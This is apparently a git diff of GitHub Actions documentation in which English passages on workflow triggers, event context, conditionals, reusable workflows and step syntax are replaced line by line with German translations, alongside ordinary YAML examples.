### Using filters to target specific branches for pull request events
### Verwenden von Filtern, um spezifische Branches als Ziel für Pull Request-Ereignisse festzulegen
{% data reusables.actions.workflows.section-triggering-a-workflow-branches %}
### Using filters to target specific branches or tags for push events
### Verwenden von Filtern, um spezifische Branches als Ziel oder Tags für Pushereignisse festzulegen
{% data reusables.actions.workflows.section-run-on-specific-branches-or-tags %}
### Using filters to target specific paths for pull request or push events
### Verwenden von Filtern, um spezifische Pfade als Ziel für Pull Request- oder Pushereignisse festzulegen
{% data reusables.actions.workflows.section-triggering-a-workflow-paths %}
### Using filters to target specific branches for workflow run events
### Verwenden von Filtern, um spezifische Branches als Ziel für Workflowausführungsereignisse festzulegen
{% data reusables.actions.workflows.section-specifying-branches %}
## Defining inputs for manually triggered workflows
## Definieren von Eingaben für manuell ausgelöste Workflows
{% data reusables.actions.workflow-dispatch-inputs %}
{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
## Defining inputs, outputs, and secrets for reusable workflows
## Definieren von Eingaben, Ausgaben und Geheimnissen für wiederverwendbare Workflows
{% data reusables.actions.reusable-workflows-enterprise-beta %}
You can define inputs and secrets that a reusable workflow should receive from a calling workflow. You can also specify outputs that a reusable workflow will make available to a calling workflow. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)."
Du kannst Eingaben und Geheimnisse definieren, die ein wiederverwendbarer Workflow von einem aufrufenden Workflow empfangen soll. Du kannst außerdem Ausgaben festlegen, die ein wiederverwendbarer Workflow einem aufrufenden Workflow zur Verfügung stellen soll. Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/using-workflows/reusing-workflows).
{% endif %}
## Using event information
## Verwenden von Ereignisinformationen
Information about the event that triggered a workflow run is available in the `github.event` context. The properties in the `github.event` context depend on the type of event that triggered the workflow. For example, a workflow triggered when an issue is labeled would have information about the issue and label.
Im `github.event`-Kontext stehen Informationen über das Ereignis zur Verfügung, das eine Workflowausführung ausgelöst hat. Die Eigenschaften im `github.event`-Kontext hängen vom Typ des Ereignisses ab, das den Workflow ausgelöst hat. Zum Beispiel würde ein Workflow, der durch die Bezeichnung eines Issues ausgelöst wird, Informationen über das Issue und die Bezeichnung enthalten.
### Viewing all properties of an event
### Anzeigen aller Eigenschaften eines Ereignisses
Reference the webhook event documentation for common properties and example payloads. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads)."
In der Dokumentation zum Webhookereignis findest du allgemeine Eigenschaften und Beispielnutzdaten. Weitere Informationen findest du unter [Webhookereignisse und Nutzdaten](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads).
You can also print the entire `github.event` context to see what properties are available for the event that triggered your workflow:
Du kannst auch den gesamten `github.event`-Kontext ausgeben, um zu ermitteln, welche Eigenschaften für das Ereignis verfügbar sind, das deinen Workflow ausgelöst hat:
```yaml
jobs:
@ -150,9 +154,9 @@ jobs:
echo $EVENT_CONTEXT
```
### Accessing and using event properties
### Zugreifen auf und Verwenden von Ereigniseigenschaften
You can use the `github.event` context in your workflow. For example, the following workflow runs when a pull request that changes `package*.json`, `.github/CODEOWNERS`, or `.github/workflows/**` is opened. If the pull request author (`github.event.pull_request.user.login`) is not `octobot` or `dependabot[bot]`, then the workflow uses the {% data variables.product.prodname_cli %} to label and comment on the pull request (`github.event.pull_request.number`).
Du kannst den `github.event`-Kontext in deinem Workflow verwenden. Der folgende Workflow wird zum Beispiel ausgeführt, wenn ein Pull Request geöffnet wird, der `package*.json`, `.github/CODEOWNERS` oder `.github/workflows/**` ändert. Wenn der Autor des Pull Requests (`github.event.pull_request.user.login`) nicht `octobot` oder `dependabot[bot]` ist, verwendet der Workflow die {% data variables.product.prodname_cli %}, um den Pull Request zu kennzeichnen und zu kommentieren (`github.event.pull_request.number`).
```yaml
on:
@ -180,19 +184,19 @@ jobs:
gh pr comment $PR --body 'It looks like you edited `package*.json`, `.github/CODEOWNERS`, or `.github/workflows/**`. We do not allow contributions to these files. Please review our [contributing guidelines](https://github.com/octo-org/octo-repo/blob/main/CONTRIBUTING.md) for what contributions are accepted.'
```
For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." For more information about event payloads, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads)."
Weitere Informationen zu Kontexten findest du unter [Kontexte](/actions/learn-github-actions/contexts). Weitere Informationen über Ereignisnutzdaten findest du unter [Webhookereignisse und Nutzdaten](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads).
## Further controlling how your workflow will run
## Weiterführende Steuerung der Workflowausführung
If you want more granular control than events, event activity types, or event filters provide, you can use conditionals and environments to control whether individual jobs or steps in your workflow will run.
Wenn du eine präzisere Kontrolle benötigst, als Ereignisse, Ereignisaktivitätstypen oder Ereignisfilter sie bieten, kannst du Bedingungen und Umgebungen verwenden, um zu steuern, ob einzelne Aufträge oder Schritte in deinem Workflow ausgeführt werden.
### Using conditionals
### Verwenden von Bedingungen
You can use conditionals to further control whether jobs or steps in your workflow will run.
Du kannst Bedingungen verwenden, um genauer zu steuern, ob Aufträge oder Schritte in deinem Workflow ausgeführt werden sollen.
#### Example using a value in the event payload
#### Beispiel für die Verwendung eines Werts in der Ereignisnutzlast
For example, if you want the workflow to run when a specific label is added to an issue, you can trigger on the `issues labeled` event activity type and use a conditional to check what label triggered the workflow. The following workflow will run when any label is added to an issue in the workflow's repository, but the `run_if_label_matches` job will only execute if the label is named `bug`.
Wenn du zum Beispiel möchtest, dass der Workflow ausgeführt wird, wenn einem Issue eine bestimmte Bezeichnung hinzugefügt wird, kannst du die Ereignisaktivität `issues labeled` auslösen und anhand einer Bedingung prüfen, welche Bezeichnung den Workflow ausgelöst hat. Der folgende Workflow wird ausgeführt, wenn einem Issue im Repository des Workflows eine beliebige Bezeichnung hinzugefügt wird, aber der Auftrag `run_if_label_matches` wird nur ausgeführt, wenn die Bezeichnung `bug` lautet.
```yaml
on:
@ -208,9 +212,9 @@ jobs:
- run: echo 'The label was bug'
```
#### Example using event type
#### Beispiel für die Verwendung eines Ereignistyps
For example, if you want to run different jobs or steps depending on what event triggered the workflow, you can use a conditional to check whether a specific event type exists in the event context. The following workflow will run whenever an issue or pull request is closed. If the workflow ran because an issue was closed, the `github.event` context will contain a value for `issue` but not for `pull_request`. Therefore, the `if_issue` step will run but the `if_pr` step will not run. Conversely, if the workflow ran because a pull request was closed, the `if_pr` step will run but the `if_issue` step will not run.
Wenn du zum Beispiel abhängig davon, welches Ereignis den Workflow ausgelöst hat, verschiedene Aufträge oder Schritte ausführen möchtest, kannst du anhand einer Bedingung prüfen, ob ein bestimmter Ereignistyp im Ereigniskontext vorhanden ist. Der folgende Workflow wird immer dann ausgeführt, wenn ein Issue oder Pull Request geschlossen wird. Wenn der Workflow ausgeführt wurde, weil ein Issue geschlossen wurde, enthält der Kontext `github.event` einen Wert für `issue`, aber nicht für `pull_request`. Deshalb wird der Schritt `if_issue` ausgeführt, aber der Schritt `if_pr` nicht. Wenn der Workflow hingegen ausgeführt wurde, weil ein Pull Request geschlossen wurde, wird der Schritt `if_pr` ausgeführt, aber nicht der Schritt `if_issue`.
```yaml
on:
@ -235,13 +239,13 @@ jobs:
echo A pull request was closed
```
For more information about what information is available in the event context, see "[Using event information](#using-event-information)." For more information about how to use conditionals, see "[Expressions](/actions/learn-github-actions/expressions)."
Weitere Informationen darüber, welche Informationen im Ereigniskontext verfügbar sind, findest du unter [Verwenden von Ereignisinformationen](#using-event-information). Weitere Informationen zur Verwendung von Bedingungen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
### Using environments to manually trigger workflow jobs
### Verwenden von Umgebungen zum manuellen Auslösen von Workflowaufträgen
If you want to manually trigger a specific job in a workflow, you can use an environment that requires approval from a specific team or user. First, configure an environment with required reviewers. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment)." Then, reference the environment name in a job in your workflow using the `environment:` key. Any job referencing the environment will not run until at least one reviewer approves the job.
Wenn du einen bestimmten Auftrag in einem Workflow manuell auslösen möchtest, kannst du eine Umgebung verwenden, die die Genehmigung eines bestimmten Teams oder Benutzers erfordert. Konfiguriere zunächst eine Umgebung mit den erforderlichen Prüfern. Weitere Informationen findest du unter [Verwenden von Umgebungen für die Bereitstellung](/actions/deployment/targeting-different-environments/using-environments-for-deployment). Dann verweist du in einem Auftrag deines Workflows mit dem Schlüssel `environment:` auf den Umgebungsnamen. Jeder Auftrag mit Verweis auf die Umgebung wird erst ausgeführt, wenn mindestens ein Prüfer den Auftrag genehmigt.
For example, the following workflow will run whenever there is a push to main. The `build` job will always run. The `publish` job will only run after the `build` job successfully completes (due to `needs: [build]`) and after all of the rules (including required reviewers) for the environment called `production` pass (due to `environment: production`).
Der folgende Workflow wird beispielsweise bei jedem Push an den Mainbranch ausgeführt. Der Auftrag `build` wird immer ausgeführt. Der Auftrag `publish` wird erst ausgeführt, nachdem der Auftrag `build` erfolgreich abgeschlossen wurde (aufgrund von `needs: [build]`) und nachdem alle Regeln (einschließlich der erforderlichen Prüfer) für die Umgebung namens `production` erfüllt wurden (aufgrund von `environment: production`).
```yaml
on:
@ -271,6 +275,6 @@ jobs:
{% endnote %}
## Available events
## Verfügbare Ereignisse
For a full list of available events, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)."
Eine vollständige Liste der verfügbaren Ereignisse findest du unter [Ereignisse zum Auslösen von Workflows](/actions/using-workflows/events-that-trigger-workflows).

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Workflow syntax for GitHub Actions
title: Workflowsyntax für GitHub Actions
shortTitle: Workflow syntax
intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration.
intro: 'Ein Workflow ist ein konfigurierbarer automatisierter Prozess, der aus mindestens einem Jobs besteht. Du musst eine YAML-Datei erstellen, um deine Workflowkonfiguration zu definieren.'
redirect_from:
- /articles/workflow-syntax-for-github-actions
- /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions
@ -14,36 +14,39 @@ versions:
ghae: '*'
ghec: '*'
miniTocMaxHeadingLevel: 4
ms.openlocfilehash: ca5a79fbaeeafa474283cbabd67108cb22b6f985
ms.sourcegitcommit: 4f08a208a0d2e13dc109678750a962ea2f67e1ba
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 12/06/2022
ms.locfileid: '148192048'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zur YAML-Syntax für Workflows
## About YAML syntax for workflows
Workflowdateien verwenden die YAML-Syntax und müssen entweder die Dateierweiterung `.yml` oder `.yaml` aufweisen. {% data reusables.actions.learn-more-about-yaml %}
Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %}
You must store workflow files in the `.github/workflows` directory of your repository.
Du musst Workflowdateien im `.github/workflows`-Verzeichnis deines Repositorys speichern.
## `name`
The name of your workflow. {% data variables.product.prodname_dotcom %} displays the names of your workflows on your repository's "Actions" tab. If you omit `name`, {% data variables.product.prodname_dotcom %} sets it to the workflow file path relative to the root of the repository.
Der Name deines Workflows. {% data variables.product.prodname_dotcom %} zeigt die Namen deiner Workflows auf der Registerkarte „Aktionen“ deines Repositorys an. Wenn du `name` weglässt, verwendet {% data variables.product.prodname_dotcom %} hierfür den Workflowdateipfad relativ zum Stammverzeichnis des Repositorys.
{% ifversion actions-run-name %}
## `run-name`
The name for workflow runs generated from the workflow. {% data variables.product.prodname_dotcom %} displays the workflow run name in the list of workflow runs on your repository's "Actions" tab. If `run-name` is omitted or is only whitespace, then the run name is set to event-specific information for the workflow run. For example, for a workflow triggered by a `push` or `pull_request` event, it is set as the commit message.
Der vom Workflow aus generierte Name für Workflowausführungen. {% data variables.product.prodname_dotcom %} zeigt den Namen der Workflowausführung in der Liste der Workflowausführungen auf der Registerkarte „Aktionen“ deines Repositorys an. Wenn `run-name` weggelassen wird oder nur aus Leerzeichen besteht, werden ereignisspezifische Informationen für die Workflowausführung für den Namen der Ausführung verwendet. Beispielsweise wird er für einen Workflow, der von einem `push`- oder `pull_request`-Ereignis ausgelöst wird, als Commitnachricht festgelegt.
This value can include expressions and can reference the [`github`](/actions/learn-github-actions/contexts#github-context) and [`inputs`](/actions/learn-github-actions/contexts#inputs-context) contexts.
Dieser Wert kann Ausdrücke enthalten und auf die Kontexte [`github`](/actions/learn-github-actions/contexts#github-context) und [`inputs`](/actions/learn-github-actions/contexts#inputs-context) verweisen.
### Example
### Beispiel
{% raw %}
```yaml
run-name: Deploy to ${{ inputs.deploy_target }} by @${{ github.actor }}
```
{% endraw %}
{% endif %}
{% endraw %} {% endif %}
## `on`
@ -74,21 +77,21 @@ run-name: Deploy to ${{ inputs.deploy_target }} by @${{ github.actor }}
{% data reusables.actions.reusable-workflows-enterprise-beta %}
Use `on.workflow_call` to define the inputs and outputs for a reusable workflow. You can also map the secrets that are available to the called workflow. For more information on reusable workflows, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)."
Verwende `on.workflow_call`, um die Eingaben und Ausgaben für einen wiederverwendbaren Workflow zu definieren. Du kannst dem aufgerufenen Workflow auch die verfügbaren Geheimnisse zuordnen. Weitere Informationen zu wiederverwendbaren Workflows findest du unter [Wiederverwenden von Workflows](/actions/using-workflows/reusing-workflows).
### `on.workflow_call.inputs`
When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. For more information about the `workflow_call` keyword, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)."
Wenn du das Schlüsselwort `workflow_call` verwendest, kannst du optional Eingaben angeben, die vom Aufruferworkflow an den aufgerufenen Workflow übergeben werden. Weitere Informationen zum Schlüsselwort `workflow_call` findest du unter [Ereignisse, die Workflows auslösen](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events).
In addition to the standard input parameters that are available, `on.workflow_call.inputs` requires a `type` parameter. For more information, see [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype).
Zusätzlich zu den verfügbaren Standardeingabeparametern erfordert `on.workflow_call.inputs` auch einen `type`-Parameter. Weitere Informationen findest du unter [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype).
If a `default` parameter is not set, the default value of the input is `false` for a boolean, `0` for a number, and `""` for a string.
Wenn kein `default`-Parameter festgelegt ist, entspricht der Standardwert der Eingabe `false` für einen booleschen Wert, `0` für eine Zahl und `""` für eine Zeichenfolge.
Within the called workflow, you can use the `inputs` context to refer to an input.
Innerhalb des aufgerufenen Workflows kannst du den `inputs`-Kontext verwenden, um auf eine Eingabe zu verweisen.
If a caller workflow passes an input that is not specified in the called workflow, this results in an error.
Wenn ein Aufruferworkflow eine Eingabe übergibt, die nicht im aufgerufenen Workflow angegeben ist, führt dies zu einem Fehler.
#### Example
#### Beispiel
{% raw %}
```yaml
@ -111,19 +114,19 @@ jobs:
```
{% endraw %}
For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/learn-github-actions/reusing-workflows).
#### `on.workflow_call.inputs.<input_id>.type`
Required if input is defined for the `on.workflow_call` keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: `boolean`, `number`, or `string`.
Diese Angabe ist erforderlich, wenn die Eingabe für das Schlüsselwort `on.workflow_call` definiert ist. Der Wert dieses Parameters ist eine Zeichenfolge, die den Datentyp der Eingabe angibt. Dies muss `boolean`, `number` oder `string` entsprechen.
### `on.workflow_call.outputs`
A map of outputs for a called workflow. Called workflow outputs are available to all downstream jobs in the caller workflow. Each output has an identifier, an optional `description,` and a `value.` The `value` must be set to the value of an output from a job within the called workflow.
Hierbei handelt es sich um eine Zuordnung der Ausgaben für einen aufgerufenen Workflow. Die Ausgaben des aufgerufenen Workflows sind für alle Downstreamaufträge im Aufruferworkflow verfügbar. Jede Ausgabe verfügt über einen Bezeichner, eine optionale `description,` und einen `value.`. Der `value` muss auf den Wert einer Ausgabe aus einem Auftrag innerhalb des aufgerufenen Workflows festgelegt werden.
In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`.
Im folgenden Beispiel werden zwei Ausgaben für diesen wiederverwendbaren Workflow definiert: `workflow_output1` und `workflow_output2`. Diese werden den Ausgaben namens `job_output1` und `job_output2` zugeordnet, die beide von einem Auftrag namens `my_job` stammen.
#### Example
#### Beispiel
{% raw %}
```yaml
@ -140,17 +143,17 @@ on:
```
{% endraw %}
For information on how to reference a job output, see [`jobs.<job_id>.outputs`](#jobsjob_idoutputs). For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
Weitere Informationen zum Verweisen auf eine Auftragsausgabe findest du unter [`jobs.<job_id>.outputs`](#jobsjob_idoutputs). Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/learn-github-actions/reusing-workflows).
### `on.workflow_call.secrets`
A map of the secrets that can be used in the called workflow.
Dies ist eine Zuordnung der Geheimnisse, die im aufgerufenen Workflow verwendet werden können.
Within the called workflow, you can use the `secrets` context to refer to a secret.
Innerhalb des aufgerufenen Workflows kannst du den `secrets`-Kontext verwenden, um auf ein Geheimnis zu verweisen.
If a caller workflow passes a secret that is not specified in the called workflow, this results in an error.
Wenn ein Aufruferworkflow ein Geheimnis übergibt, das nicht im aufgerufenen Workflow angegeben ist, führt dies zu einem Fehler.
#### Example
#### Beispiel
{% raw %}
```yaml
@ -175,11 +178,11 @@ jobs:
#### `on.workflow_call.secrets.<secret_id>`
A string identifier to associate with the secret.
Dies ist ein Zeichenfolgenbezeichner, der dem Geheimnis zugeordnet werden soll.
#### `on.workflow_call.secrets.<secret_id>.required`
A boolean specifying whether the secret must be supplied.
Dies ist ein boolescher Wert, der angibt, ob das Geheimnis angegeben werden muss.
{% endif %}
## `on.workflow_run.<branches|branches-ignore>`
@ -196,13 +199,13 @@ A boolean specifying whether the secret must be supplied.
## `env`
A `map` of environment variables that are available to the steps of all jobs in the workflow. You can also set environment variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs.<job_id>.env`](#jobsjob_idenv) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
Dies ist eine `map` von Umgebungsvariablen, die für die Schritte aller Aufträge im Workflow verfügbar sind. Du kannst auch Umgebungsvariablen festlegen, die nur für die Schritte eines einzelnen Auftrags oder für einen einzelnen Schritt verfügbar sind. Weitere Informationen findest du unter [`jobs.<job_id>.env`](#jobsjob_idenv) und [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
Variables in the `env` map cannot be defined in terms of other variables in the map.
Variablen in der `env`-Zuordnung können nicht in Bezug auf andere Variablen in der Zuordnung definiert werden.
{% data reusables.repositories.actions-env-var-note %}
### Example
### Beispiel
```yaml
env:
@ -263,11 +266,11 @@ env:
## `jobs.<job_id>.env`
A `map` of environment variables that are available to all steps in the job. You can also set environment variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
Dies ist eine `map` von Umgebungsvariablen, die für alle Schritte im Auftrag verfügbar sind. Darüber hinaus kannst du Umgebungsvariablen für den gesamten Workflow oder für einen einzelnen Schritt festlegen. Weitere Informationen findest du unter [`env`](#env) und [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
{% data reusables.repositories.actions-env-var-note %}
### Example
### Beispiel
```yaml
jobs:
@ -286,11 +289,11 @@ jobs:
## `jobs.<job_id>.steps`
A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job.
Ein Auftrag enthält eine Sequenz von Aufgaben (als `steps` bezeichnet). Mit Schritten können Befehle oder Einrichtungsaufgaben ausgeführt werden, und außerdem Aktionen, die sich in deinem Repository oder in einem öffentlichen Repository befinden oder in einer Docker Registry veröffentlicht sind. Nicht alle Schritte führen Aktionen aus, doch alle Aktionen werden als Schritt ausgeführt. Jeder Schritt wird in einem eigenen Prozess in der Runner-Umgebung ausgeführt. Er hat Zugriff auf den Arbeitsbereich und das Dateisystem. Da die Schritte jeweils in einem eigenen Prozess laufen, werden Änderungen an den Umgebungsvariablen nicht von einem Schritt zum nächsten beibehalten. {% data variables.product.prodname_dotcom %} umfasst integrierte Schritte zum Einrichten und Ausführen eines Jobs.
You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
Innerhalb der Nutzungsbeschränkungen des Workflows kannst du unbegrenzt viele Schritte ausführen. Weitere Informationen findest du unter {% ifversion fpt or ghec or ghes %}[Nutzungseinschränkungen und Abrechnung](/actions/reference/usage-limits-billing-and-administration) für auf {% data variables.product.prodname_dotcom %} gehostete Runner und unter {% endif %}[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %} für Nutzungseinschränkungen für selbstgehostete Runner.{% elsif ghae %}.{% endif %}
### Example
### Beispiel
{% raw %}
```yaml
@ -316,17 +319,17 @@ jobs:
### `jobs.<job_id>.steps[*].id`
A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
Eine eindeutige Kennung für den Schritt. Du kannst mit `id` auf den Schritt in Kontexten verweisen. Weitere Informationen findest du unter [Kontexte](/actions/learn-github-actions/contexts).
### `jobs.<job_id>.steps[*].if`
You can use the `if` conditional to prevent a step from running unless a condition is met. {% data reusables.actions.if-supported-contexts %}
Du kannst die `if`-Bedingung verwenden, um zu verhindern, dass ein Schritt ausgeführt wird – es sei denn, eine Bedingung ist erfüllt. {% data reusables.actions.if-supported-contexts %}
{% data reusables.actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
{% data reusables.actions.expression-syntax-if %} Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
#### Example: Using contexts
#### Beispiel: Verwenden von Kontexten
This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
Dieser Schritt wird nur ausgeführt, wenn der Ereignistyp `pull_request` und die Ereignisaktion `unassigned` lautet.
```yaml
steps:
@ -335,9 +338,9 @@ steps:
run: echo This event is a pull request that had an assignee removed.
```
#### Example: Using status check functions
#### Beispiel: Verwenden von Funktionen zur Statusüberprüfung
The `my backup step` only runs when the previous step of a job fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#status-check-functions)."
`my backup step` wird nur ausgeführt, wenn beim vorherigen Schritt eines Auftrags ein Fehler auftritt. Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions#status-check-functions).
```yaml
steps:
@ -348,11 +351,11 @@ steps:
uses: actions/heroku@1.0.0
```
#### Example: Using secrets
#### Beispiel: Verwenden von Geheimnissen
Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job.
Auf Geheimnisse kann nicht direkt in `if:`-Bedingungen verwiesen werden. Erwäge stattdessen, Geheimnisse als Umgebungsvariablen auf Auftragsebene festzulegen, und verweise dann auf die Umgebungsvariablen, um Schritte im Auftrag bedingt auszuführen.
If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string.
Wenn kein Geheimnis festgelegt wurde, ist der Rückgabewert eines Ausdrucks, der auf das Geheimnis verweist (z. B. {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} im Beispiel), eine leere Zeichenfolge.
{% raw %}
```yaml
@ -371,26 +374,26 @@ jobs:
```
{% endraw %}
For more information, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)" and "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
Weitere Informationen findest du unter [Kontextverfügbarkeit](/actions/learn-github-actions/contexts#context-availability) und [Verschlüsselte Geheimnisse](/actions/security-guides/encrypted-secrets).
### `jobs.<job_id>.steps[*].name`
A name for your step to display on {% data variables.product.prodname_dotcom %}.
Name deines Schritts, der auf {% data variables.product.prodname_dotcom %} angezeigt wird.
### `jobs.<job_id>.steps[*].uses`
Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
Wählt eine Aktion aus, die als Teil eines Schritts im Job ausgeführt wird. Eine Aktion ist eine wiederverwendbare Code-Einheit. Du kannst eine Aktion verwenden, die im selben Repository wie der Workflow, in einem öffentlichen Repository oder in einem [veröffentlichten Docker-Containerimage](https://hub.docker.com/) definiert ist.
We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
- Using the commit SHA of a released action version is the safest for stability and security.
- If the action publishes major version tags, you should expect to receive critical fixes and security patches while still retaining compatibility. Note that this behavior is at the discretion of the action's author.
- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
Es wird dringend empfohlen, dass du die Version der verwendeten Aktion einschließt, indem du Git-ref, SHA oder ein Docker-Tag angibst. Wenn du keine Version angibst, könnten damit die Workflows gestört werden, oder es wird ein unerwartetes Verhalten hervorgerufen, wenn der bzw. die Besitzer*in der Aktion eine Aktualisierung veröffentlicht.
- Am besten in Hinblick auf Stabilität und Sicherheit ist es, die Commit-SHA einer freigegebenen Version einer Aktion zu verwenden.
- Wenn die Aktion Hauptversionstags veröffentlicht, kannst du kritische Fehlerbehebungen und Sicherheitspatches erhalten und gleichzeitig die Kompatibilität wahren. Hinweis: Dieses Verhalten liegt im Ermessen des Autors der Aktion.
- Die Verwendung des Standardbranches einer Aktion ist zwar auf den ersten Blick praktisch, doch wenn eine neue Hauptversion mit einem Breaking Change veröffentlicht wird, könnte der Workflow unterbrochen werden.
Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
Einige Aktionen erfordern Eingaben, die du mit dem Schlüsselwort [`with`](#jobsjob_idstepswith) festlegen musst. Die erforderlichen Eingaben findest du in der README-Datei der Aktion.
Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on).
Aktionen sind entweder JavaScript-Dateien oder Docker-Container. Bei Docker-Containern als Aktion musst du den Auftrag in einer Linux-Umgebung ausführen. Weitere Informationen findest du unter [`runs-on`](#jobsjob_idruns-on).
#### Example: Using versioned actions
#### Beispiel: Verwenden versionierter Aktionen
```yaml
steps:
@ -404,11 +407,11 @@ steps:
- uses: actions/checkout@main
```
#### Example: Using a public action
#### Beispiel: Verwenden einer öffentlichen Aktion
`{owner}/{repo}@{ref}`
You can specify a branch, ref, or SHA in a public {% data variables.product.prodname_dotcom %} repository.
Du kannst einen Branch, einen Verweis oder einen SHA-Wert in einem öffentlichen {% data variables.product.prodname_dotcom %}-Repository angeben.
```yaml
jobs:
@ -422,11 +425,11 @@ jobs:
uses: actions/aws@v2.0.1
```
#### Example: Using a public action in a subdirectory
#### Beispiel: Verwenden einer öffentlichen Aktion in einem Unterverzeichnis
`{owner}/{repo}/{path}@{ref}`
A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA.
Ein Unterverzeichnis in einem öffentlichen Repository auf {% data variables.product.prodname_dotcom %} in einem bestimmten Branch, einer bestimmten Ref oder einer bestimmten SHA.
```yaml
jobs:
@ -436,11 +439,11 @@ jobs:
uses: actions/aws/ec2@main
```
#### Example: Using an action in the same repository as the workflow
#### Beispiel: Verwenden einer Aktion im selben Repository wie der Workflow
`./path/to/dir`
The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action.
Der Pfad zum Verzeichnis, das die Aktion im Repository deines Workflows enthält. Du musst dein Repository auschecken, bevor du die Aktion verwendest.
```yaml
jobs:
@ -452,11 +455,11 @@ jobs:
uses: ./.github/actions/my-action
```
#### Example: Using a Docker Hub action
#### Beispiel: Verwenden einer Docker Hub-Aktion
`docker://{image}:{tag}`
A Docker image published on [Docker Hub](https://hub.docker.com/).
Dies ist ein Docker-Image, das in [Docker Hub](https://hub.docker.com/) veröffentlicht wurde.
```yaml
jobs:
@ -467,11 +470,11 @@ jobs:
```
{% ifversion fpt or ghec %}
#### Example: Using the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}
#### Beispiel: Verwenden der {% data variables.product.prodname_registry %}-{% data variables.product.prodname_container_registry %}
`docker://{host}/{image}:{tag}`
A Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}.
Dies ist ein Docker-Image in der {% data variables.product.prodname_registry %}-{% data variables.product.prodname_container_registry %}.
```yaml
jobs:
@ -481,11 +484,11 @@ jobs:
uses: docker://ghcr.io/OWNER/IMAGE_NAME
```
{% endif %}
#### Example: Using a Docker public registry action
#### Beispiel: Verwenden einer Aktion in einer öffentlichen Docker-Registrierung
`docker://{host}/{image}:{tag}`
A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`.
